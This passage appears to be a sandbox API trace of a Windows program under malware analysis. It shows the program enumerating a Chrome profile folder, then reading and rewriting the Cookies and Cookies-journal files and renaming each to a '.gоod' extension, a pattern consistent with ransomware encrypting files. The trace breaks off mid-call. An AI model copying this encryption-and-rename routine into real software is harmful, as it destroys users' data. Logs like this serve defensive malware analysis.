hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xec45ead4, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c545a2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa792330, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfa7b85d6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x206e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5157d0ff, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5157d0ff, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5397926d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517348e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517348e4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x539e223d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab07e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab07e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd41496, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1 [0162.321] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab2f0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab2f0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd83378, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5706285f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeeb01e7d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeeb01e7d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8617, dwReserved0=0x0, dwReserved1=0x0, cFileName="Secure Preferences", cAlternateFileName="SECURE~1")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe774d6a2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts", cAlternateFileName="SHORTC~1")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe7979194, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts-journal", cAlternateFileName="SHORTC~2")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Data", cAlternateFileName="SYNCDA~1")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Extension Settings", cAlternateFileName="SYNCEX~1")) returned 1 [0162.322] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c6a9d7, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5118b971, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5118b971, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52c99054, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites-journal", cAlternateFileName="TOPSIT~2")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf148b749, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xf148b749, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf148b749, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransportSecurity", cAlternateFileName="TRANSP~1")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52aedbdc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52aedbdc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visited Links", cAlternateFileName="VISITE~1")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Applications", cAlternateFileName="WEBAPP~1")) returned 1 [0162.323] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5f84c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1 [0162.324] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5221db78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 1 [0162.324] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6ea8e0 | out: lpFindFileData=0x1f6ea8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5221db78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 0 [0162.324] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0162.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab40) returned 1 [0162.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eab00) returned 1 [0162.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0162.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x36b8e90 | out: lpFileInformation=0x36b8e90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa98218f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0162.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0162.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0162.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.326] GetFileType (hFile=0x640) returned 0x1 [0162.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0162.326] GetFileType (hFile=0x640) returned 0x1 [0162.327] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0162.327] ReadFile (in: hFile=0x640, lpBuffer=0x36b9338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x36b9338*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0162.336] CloseHandle (hObject=0x640) returned 1 [0162.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0162.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.336] GetFileType (hFile=0x640) returned 0x1 [0162.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0162.336] GetFileType (hFile=0x640) returned 0x1 [0162.336] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x7000 [0162.336] WriteFile (in: hFile=0x640, lpBuffer=0x36cf5d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x36cf5d0*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0162.337] CloseHandle (hObject=0x640) returned 1 [0162.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0162.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.337] GetFileType (hFile=0x640) returned 0x1 [0162.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0162.337] GetFileType (hFile=0x640) returned 0x1 [0162.337] ReadFile (in: hFile=0x640, lpBuffer=0x36d1880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x36d1880*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0162.666] CloseHandle (hObject=0x640) returned 1 [0162.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0162.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.667] GetFileType (hFile=0x640) returned 0x1 [0162.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0162.667] GetFileType (hFile=0x640) returned 0x1 [0162.667] WriteFile (in: hFile=0x640, lpBuffer=0x32cef18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x32cef18*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0162.667] CloseHandle (hObject=0x640) returned 1 [0162.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", lpFilePart=0x0) returned 0x45 [0162.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.gоod", lpFilePart=0x0) returned 0x4a [0162.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0162.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5d2c1a4d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7010)) returned 1 [0162.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0162.667] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies.gоod")) returned 1 [0162.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0162.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0162.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), fInfoLevelId=0x0, lpFileInformation=0x3407578 | out: lpFileInformation=0x3407578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa9ce7a0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0162.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0162.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0162.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0162.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0162.669] GetFileType (hFile=0x640) returned 0x1 [0162.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0162.669] GetFileType (hFile=0x640) returned 0x1 [0162.669] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0162.670] CloseHandle (hObject=0x640) returned 1 [0162.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0162.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0162.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0162.807] GetFileType (hFile=0x650) returned 0x1 [0162.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0162.807] GetFileType (hFile=0x650) returned 0x1 [0162.807] WriteFile (in: hFile=0x650, lpBuffer=0x33a44f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x33a44f8*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0162.808] CloseHandle (hObject=0x650) returned 1 [0162.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal", lpFilePart=0x0) returned 0x4d [0162.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal.gоod", lpFilePart=0x0) returned 0x52 [0162.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0162.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5d418f5d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0162.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0162.809] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal.gоod")) returned 1 [0162.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session", nBufferLength=0x105, 